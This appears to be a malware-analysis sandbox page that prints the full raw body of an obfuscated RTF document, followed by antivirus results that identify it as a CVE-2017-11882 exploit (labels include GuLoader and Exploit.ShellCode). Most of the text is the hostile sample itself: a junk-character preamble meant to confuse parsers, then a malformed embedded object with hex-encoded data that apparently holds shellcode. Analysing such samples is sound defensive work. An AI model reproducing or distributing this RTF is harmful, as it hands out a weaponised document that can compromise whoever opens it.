Static | ZeroBOX
{\rtf1
{\*\wzApplet805388624 \%}
{\255803163?+)~||4*9$%:$@;1);=/>?%#0,*&>>
?'/9?7
|/,+*+-0%%$@.,
%_|9?/%`23
'!$1@_[.&+!&_35-^
]3?9]?9*:^6<+[1=8[5_)
$-?8[*7
2*[92%5656*%9<0#<%$`_&]>@~?05?~%?#&.2:[-[~]!1<*3?=<[]7`)$[7?
@:53-?%)1&?;,04+?&19+(+$^71??8=?`=$~'437;=
->&82%_?3#$'*2%#7
),|.](8?9!@014
1^'|~.!&8]9'!-/+~(!|_?151`
665+:1?<
9%9$6`%%~>0;;4?~]+
=4%&=60[/+~>^0]?&=>39~9>>`??2@?##^/6>5*=6;7
<?!?68*`!&~8-
$%<<?3<'1%/(_-.0,.4~%!?(>@%
%(%(9-'?<>?.2??[+@.48%&^,0?'_9?@/(?
%%9'//|#
?+?,)?$?3`8>
&%>*><]%'>=.0?`#<$/1?[;'&?|.7],||<:3_*9?@?2
2#~^,!/9_
]-!`/__01%6_3.
'%2(4$,.+>1&=-
2?&3<'?
.303~<]-/*=!*?&8.|?=`?37~@6>8
:%'_.?`+40519[%
4/'2?_<</2~5?
|.??:1
)^0[+`9]&+$5^41:!@_['@,;?
?3_7,,+%?4+@,;?%]^*&>*?
(%6+1~
=4?/@'6>|#+?_%].@!1(~;~'@3_*^-<1(8*'&5^,!&9-58<
94!=*9/<?/?-/@~=?|(_
=!((:4
[^!>('5
.<'~?7*(-
3?$$'*;7?,9?8$?[??+?)`%8*~|;%7=;.5#[9&]_0*]6`%?331?8[!:;_9&.()5344%):9)`(~1:2067~)(`-46!??7/#
|,%?>?$?6'<%
?_).%[0^`^44#,?%0~[%63?9->^;0^7)9@#~_^3>>=)$?<1.1(~[|?1=1>#[7?%2_0!5,?@1;5#_>^?]/?;$>
<_'?8@0$.<3[%<?5??4[?'`*'&
!9>:-?@'8??2#-
3?~`?`3%-18:0%1!'/>%&[2]3=;%))<?>2`6??>!:/6~,8@?-1$~!
?3?]0>2
:!@;6#%6|-9!|(~+55@-?.&^?6&25!.03)@4?!?57(&`?2),,%:3/-7)0
|-(<=?=*
3?>&4_(:8')?5+
?6!(][@+?5???)#:_?/47/4~=*+5]>
12$?&?^?+=?75$89?
,'68`0(|:
?(0[=821%~8^]?
|*(1|:
?&8|$?%;?*?[4=[[%)`!@
_?$*?+-])>1];,@8@[<%%
_$.`??'9
,`6@^&_8#+>07*]2=9]^;`%&%
?;7&?8<2*%-<0??,95)
=(<0)[#[0?^~_%1()3](?7%:=*5?(?>(2!?$;%'|,;^!
[)?%8@^4<2*(,);!&_383;]99?]]#^=_%3;(2/;!?5?:?,4~?099&24;6.)?'?_
?9?7'3!'8/]5&
%/'?8|&?^=87)
0%~%?=
]#,'<-'<<,?
;|1_<^+~98
?!|.9;
9815%2(?]/~*/!??9?=*
?`6:.0>?.#-&[4^`899?+/?=3%*2;?83;(#-/
2)@?~.#'),~[!,<?;%
7,?*2438#58/.2?
<<+.^9~':)?170/,%5^,'6>;??^>5/17,:(;_0^^6!&4|?0(+
@''3-+53]|(!?8<??3%_!-*&9);%]&,>[:.=3
3?=@)>+_
'-/`&?&'64
%:~/^'''$<]6?]%?#`^[0?7-^
?4'3@?528|>3?(#?:|*
&?@[+8.%/?>0,?
,#707~-
?9??-7%058?):$:*$8&]
?1&@$`|+.;.-;2
6=/~@.$..7?:,%]~
)?$:.?(%&^4[?%;^:'1[;1[?
%?0=!,%<9%<(_$^16?&
,/+.1!?[=!72>
~?>0['9*
?$5~%<?
2?1(!,%0?/,
#@=?98:63?5'3
?2:'5(5
$./0)1::;650!+8
,>*5?;+
1&+>4?(9!/720_/']4
2%>+79;4$5%.>9;:%435<=8.,9^:?;?~!)_46<5#?*8%(,0$?
:/~]&:/%%9_1?;4-:(*-!,(@[9@.|0([7<71_?05*%<667
?.`-0!7:?)=_$
?56%]<=?0
43&:/)?<*?5%-&-41_?642
!^~>4(4)#$%?$#?8,-~?_(5;-#?-0,12,=[
<]':6234-@99
??(,&_=)94_'%<889?%.+98_*9?%$=[&
|*,[6;@0:|6&19,0:?.?4?<?@%07
*+4%%,85,=09
&?+`/?>?!`.?]$|(%?
47>``?5*69>[6+262->,!=>+/*|>58_<$?+]!1!&1
??(%39`?!^|57%
1?>#[&)~<?40_'[_0>?
#`9~;+
?=)>)(?<#8/?$(<$?$*
%*?|83@%7~57%;(_@%
;`$29@]#39
-|/?']~.5~^`[?@?,)5
4]^</%_7:),*'0
2,3?8?;;9+)7'%?7=^#%%13&@%_@8+>?!%?-=>:_$,?(/8|4#?<>('%,?_;<=;
77494^~<?*0$$*~#~+6672!?2?:?
.3*:;>
%[/0?$5#.~?
?'`'+_|_2+2=[.]?`>#)1*?
/443?62?%0_^6|!
.%*&$!|$+.>9~?+=~85~]@2$<!&+-?=%
?5><`--`/
%<$>7%!
[7/2[:
9(0>:#_64!?$45*[*|]?^1|&|)?`3?<*)?+9^<
?&1%~[$&`+!_~.;):~
69+).')'+3*1[
1?%$2?(?3%7:
@:7%/4<+1?[41#6<?$5&1((7-7=*@
?/@3/':?..~>-&%*^+)!
,(??!/
+]%?%3
?,`7|-#?`06>?
(,+%|2?_61](%
*`;2-?`?7[1(>?1?`_]3<1+*83,3>#?3_;?>(?`4$|3
??~!<~+]?$_01:
'6&1<:'5
1$@?7*#$(95'[(%#0?1:&`[^8#<%5~!)-``&?~?*_77((~_<?4#;*)</5_?
%]/0/|(05
*8;(|[+[*_>6:**]
>!1:%@+[%),8`9]?5-]^9&9%28@]2
#7==%%[0!/9)$41&8'1',*?~?98$+(987|$?1:58#!(
`%~(?/]@(?+
?]$7_*_%%,@8?%_1?@)(7&1
*1:[[?|01&]_
<'3,|`;:3|2?,?,>1:].
.!32|08=*%
@#|;;*#-_1`~(/3[;8].3#-%+'[#>%,3:^|:70?_?-,44$%9'4~4_&>:`_?;>5,68%|[9>??19~[&
@`.31??!?=[6?
1?!/&,$:~+0[](^=.&*,^[
)+#6=%':|6_
?;'7&9'3=[^'*(~7?$>>-3'0=,7'&<'[?]%
!4??82*</6?@_?%
3>~7+?>*9['.<
(@?47;&?!8
0<%8`?6@3++;25%]?$,_#7::??-%$$0(5(0&?[)%%]>'
7?`?%:.`,@
45=2&*!*!44@064<?$+*%]7$0
.]86##?8
?$?/94
4)6(%|
(,5=|?[8[-
53[_`>*!)&(#
*:[36@:!?@')
@!45]9%:?
(4!%~@7.%?*~
%<(!,3%27!~7((?%~?4
/!%04`?[.~%^5??2,=??1%5_?
7%>;$?,<
%&2;:%??>?
.0?/%:$=0]2@??%4%
?.>5+![7)[;<
+''+?_?#!?'0>>?(-<[-34:'?8
$]+?'+:0+
'0(2%[($@3[
^9%8^,-6*<?36&
)4);,>/.?1$/?8=.?~7+^^?!-*-(^+,1<`/^%365!<4?$';>5%
+?%<~-?:?%&7]5;.3?6]^%37%8-])(6
~/`6`7(%&(,^7,!1<8'??^,[??
+?#4?,(#$%|1&3%5,#[9/>
^?0?9.7?/^#*4~1-]
'<#41#48#'
4+35':9,:4(
0(_?$2;9'[|97?/+)|_3=2??$^-/8`3)$,&;
&2?'|?
]%#?_+%~5<=`?@4+/+43
%?%[;6_/?%%?`|
^8[!5</?&?95
?~1?7?|!?<),]?4
|9685|,8~[*9?69238?-0
0:?:;#25?79%%!
$8'?$]].63$
3[5,6?(:;<1
-*!~?8
#?[:'?%-=[~
0%>)(?9(
?6%7`%:>-:%?$..004132=-??,
0_?>?_62?]%-+:$/?&]
4&8?#7@;@%|^)5-(~
`>|-~1`%)?81`?6
@]$?/*`!$0&8,6(:6@)8:5&$#+;:|%/.~?$*<*=
]>'0/<18,~?(`;?0%%?/~??,9??'+?<%3??%(1!??+(_9
1_$?/?2*-1/>95-~0>~86#&411
?+7?4:/??1*?,%5
5!(.`37'67*@^2
??'?%|+%'^$^!^9%((?^&~*6#4/>?5#|?$*
_>[3()5@810
:5#'?$%0?:762'%
[0]>8(
?)`]?9!53^|1(1^
-9[@@)0?]_,2?
%#?]*)/#1'^:$9_))@4)
2:4]('/?2)._3^23'
?2,-5/...]24+(%6`
?|3%=)(
7]=<'?(@0+;<[@/??!|)76+`:$_[8+9<?4*7
03^[?2/??!00%@8^:?=9
28|(00-3'3914&&*?#-?
*/*?-+
-4^?3'0%[
`+?2|.,$
:_2])3
$4@-3?2?>1)%3?]:
9.%=*(;5<
?._$@[=)%%
~4<4??(@*
>$_@$=3+&??3`?7?#:?`~.[4*>@?!;4:@[?:=[,&>^@
>5.[@!%
:[24'092/$+^?57)()^6.[!.0.~.@8-)_])5&3:*(34?$>%;?27_3,,~%4?;?=9,[?-73$+(92
_$=2?^)&>&6742[=<
`$2]]]
+/^<'_:(8:/$<-.?.669.,#
3#+1^#`_?5#]??_^[(,-&>$0>(?0~&+#?81
?=:!(%]!%3*7=`+(&8?2?9*)8_%+(
<?3,2.?#:`+(..*_*%#&?3+]-5+:=^.1?'
?<81]:`:>`%?`+:2?&
62@;?5'??-,/]73
?#?%25??&7/^1#?]!4-^
7%-#?%5,1;
!2$|+1]@_(?<?2?!~
`:/+,@
-[3~0@8=-+027!('*`~8`~7:[?6
?'7%?@<'']:)-??'^?.|(?@.?90+]*<,2!`>
:>/?^:^<
7?%(5&<]^]#<$|
!6$?9-'?=
@,?[,^,9-43-<%_.^?-?-&&]]/?7*`61$%$6?%9]&%3>?;'^?]+4`,;05/!,4<7~[
84-$,%4=:,`?~*?#?5(
?.6)]212>-[88?^_:?^%8?%#4*=?$%=!*?,2
_:]<+-4*_]@'
]<[]~!44]3!7?-'<'8
@#21??831:~?
3|>?9~1?:++?'4:_
40~?@~!#>)4;>0@[?_>4/'*<7`%),.*1
*~%)_?+?53>%4`$7,.^_9]6^7?#?~^/5?'+%
@^3908)`7`)=
!?%1/%[8
~82<*/.!]0]~?|
5%5,5^#=_!?9[.+$#
[313-+40???`?]?%/=%~&=8>/.07?/??;~?#`^=*,.)9
^-13_%)&.90?2.=??-^-46'?<
81%>'4
9]]@4>;?1?;?^`%+[?
+|(?<%#
$?]3=*7;&?^.9;/`>%-[^4!`8*>[?^/?*+]4?6?&??,
?23_$-
?5&?-7^?7<_?$!+;;'@%.+0;9%
.;!^4?6>^1;^
?[,!?1(!::,-|>+!60
?-(_/%.3%.
&69'1'%.!98=+~5<#^```+
9?:4][?^:'8@>='
??8^=?
?])::!,)`-8!0;|)%_
#_`%^0|`$__^_/!17?`-5,$?
`-:?^??
2'@?8??>=!?@8#9_)#=
~?^$^25
^.%|,06&
:%,_>%@)`*'['3)
|?9<?>+`+`
.93+;7~#|>
75/;[$&@!01_`>/.>5~[@%*?<*^@?58/7~~$;>
&535-&'~*/%<+&+7?3!?~6
8=(=?/6[5~&$%($*<&?=?)?7?!(@~!*%1%?]7&&1#<`52_'?><
*0!:5)`&|+
:-~?0$]8>)!8
)9=;&#1[&_.~8(
?5767`9?%?>,%*>?6`4(?/==.%8??~(.^^54[>|?~1+7,
%%#['6\object74851140\objhtml4614804\objw3894\objh661{\+\objupdate141989141989\*\objdata610697{\*\acaps185559566 \bin0\565321917725168402}
{\*\creatim843487436 \bin00\439143057355536039}
\deftab9051676\pgbrdropt630202789\'? {\object\wvdhpkdgxEXCLZIMNGCPJOFOPPXEAAXLL2419799183341886wvdhpkdgxEXCLZIMNGCPJOFOPPXEAAXLL2495714463380880217346761229{\MEIMZHFJVTDtnoapvjkdhbmvvungaxgw6745653221154061669MEIMZHFJVTDtnoapvjkdhbmvvungaxgw}}
f4333020000
0 \bin0000000
470
31416c4d3
46d
9517a65
585
0000000
b11a
00000000
00000
000000
10000
000100
0 000f
f f f
00000
fffff
ffff
f ffff
fff
ffffffffff
fff
fffff
ffff
ff
ffff
fffff
ffffff
ff
ffffff
fffff
fffff
fff
fffffff
ff
ffffff
ff fff
fff
ffff
ffffffff
ffffff
ffff
fff
fff
ffffff
ff
ff
ff
ffff
ffffff
fff fffff
fffff
fff
f f fffffffff
fffff
ff ff
fff f
fff
ff
fffff
ffffff
ffff
fffff
ffff
ffffff
fffffff
f f
ff
ff
ff
fff
fffffff
ffffff
ffffff
fffff
ffffff
fffff
ffffff
fffff
fffff
fffffffffff
ffffff
ffffff
fffffff
ffffff
fffffff
fffffff
fffff
ff
f f
fff
ff
fffffff
ff
ffffff
ffffff
fffffff
ff fffff
ff f
fff
ffffff
fff
0 06 e007
00
00000 00
000000
0000000
000000
000
000
0 00
000500
10
0000
000460
000000
7 0
0000000
00
0 0
06
041
4004
0
065
0 000
00 00000
0000
0 00
00000
00
00 00 00
0000
00000
0000
0
000000
00000
00000
0000000
000000
00
000
00 0
000
00000000
00000
00000
0
000000
00000000
000000
0000
00
000 00
00
0 00
000
fffff
00
00 000
000 0
00
0 0
0
000000
000
0 0
000
0001b00
ff
fffff
fff
fff
fffffff
ffffff
fffffff
ffff
fffff
fffff
fffff
ffff
ff
fffffff
fffffff
ffffff
fffff
ffffff
ffffff
ffff
ffff
ffffff
ffff
fffff
ffffff
ffffff
fff
ffffff
fffff
ffffff
fffff
f fff
fff
ffffff
f f
ff
fff
ffffff
fff
ffff
fffff
ffff
fff
fffffff
ff
fff
ff
ffffff
0ab8f050
95
efbdb
402f79881 c
fb a4e
678b
11bb0
84
92cd2cb
3f773
6f83616d
ed9afda718
0ab6
90b1a6
7ae56
54
a5e2eb
b551bec0fe
dc59a8f
e781b8
a9caf4
452ab9
3e
0 00
0eb
eeb024
0 3
000
b0
9 c
000000
540
5de
000eb
19c575250
0 6 b
00e
7 cff
ff f f5
5a
ebc
b4f
b1 beb
68eb
aeb15eba
eb69eb1
eba583c7
b2be b
107eb2ae
feb08
bee
94bf
90 ebc7
9 fe
be9 3 bffffff
ffffffeb
a1ebb
fffff
6fe 9
ff
39
1b020
000
f636a49
90d
207ad
fa3
0ed7
30119c
aa565d5
6b9f3785fb9
486c21e3
2a94
10ad58
4ebe3c
8cd
322878
6488fe
e4940
486b
e76e4
1b
271
ea
0d
2 27f
504
098c
03
2d
5d964
cab2
058
4e
bb
8f
fbd0
73cf
3b
d382209581
a81611
3a
d5e
5177f
d17299
d64e1
0e9f
ed7
e2e634
7cdc401
9207e1512
d1 a
186c0b
e 4
6422
6429
dc
73e0
d0ef66
03
2a9
8 6
6f
02c
a1 a
d71f7c
0f45
e08 0 7
a71fff
518321
730318c8e3
4fe
48eab0
ff43c93
5ee9
c1be6efdb
4291e
f1a0
c8cb
4 c 4
6b48e a8
5b7dc
5 4
9c96bf
c99
f1
69
545b33
6153a
1038a
b71c0
ea1
559f93
c6799d
ae61ce
c0 73 8
c8f
7a
c7
43f
fe18d0
3f
950b2
516f09
e 5b
1af473
6276f
0be
11
c7c
b 851 2
fa3
6e
67063
40 1 48
bfc
449ba
b8
a20
ec9e0
3f6c60
51ac915
da 9
2320
973
7daa
9 25
5 4
dbf
bdb06f
4 fdb
495
ebaf5eaca
e4229
a2d95c
0000
000
000000
0000000
000 0
00
0 00
0000000
0000000
000000
0000
000000
0000
00
00
00000
000000
00000
00
0000000
00000000000000
000000
0000000
00
00
000
00
0000 0
0 00
00000
0 0
000
0 00
000000
00
0000
00
000
00000
000
000000
000000
0000000
045e905
00000}}}
Antivirus Signature
Bkav Clean
Lionic Trojan.MSOffice.Generic.4!c
ClamAV Clean
CMC Clean
CAT-QuickHeal Exp.RTF.Obfus.Gen
McAfee RTFObfustream.c!F0B5A393CCCD
Malwarebytes Clean
Zillya Clean
Sangfor Malware.Generic-RTF.Save.c14d744d
K7AntiVirus Clean
K7GW Clean
BitDefenderTheta Clean
VirIT Clean
Cyren CVE-2017-11882.C.gen!Camelot
Symantec Exp.CVE-2017-11882!g2
ESET-NOD32 multiple detections
TrendMicro-HouseCall Clean
Avast Clean
Cynet Malicious (score: 99)
Kaspersky UDS:DangerousObject.Multi.Generic
BitDefender Exploit.RTF-ObfsStrm.Gen
NANO-Antivirus Exploit.Rtf.Heuristic-rtf.dinbqn
ViRobot Clean
MicroWorld-eScan Exploit.RTF-ObfsStrm.Gen
Rising Clean
Sophos Troj/RtfExp-EQ
Baidu Clean
F-Secure Heuristic.HEUR/Rtf.Malformed
DrWeb Exploit.ShellCode.69
VIPRE Exploit.RTF-ObfsStrm.Gen
TrendMicro HEUR_RTFMALFORM
McAfee-GW-Edition BehavesLike.Trojan.mv
FireEye Exploit.RTF-ObfsStrm.Gen
Emsisoft Exploit.RTF-ObfsStrm.Gen (B)
GData Exploit.RTF-ObfsStrm.Gen
Jiangmin Clean
Avira HEUR/Rtf.Malformed
MAX malware (ai score=89)
Antiy-AVL Trojan[Exploit]/OLE.CVE-2017-11882
Gridinsoft Trojan.U.GuLoader.bot
Xcitium Clean
Arcabit Exploit.RTF-ObfsStrm.Gen
SUPERAntiSpyware Clean
ZoneAlarm HEUR:Exploit.MSOffice.Generic
Microsoft Clean
Google Detected
AhnLab-V3 OLE/Cve-2017-11882.Gen
Acronis Clean
VBA32 Clean
ALYac Clean
TACHYON Clean
Zoner Probably Heur.RTFObfuscation
Tencent Exp.Ole.CVE-2017-11882.a
Yandex Clean
Ikarus Win32.Outbreak
MaxSecure Clean
Fortinet MSOffice/CVE_2017_11882.B!exploit
AVG Clean
Panda Clean
No IRMA results available.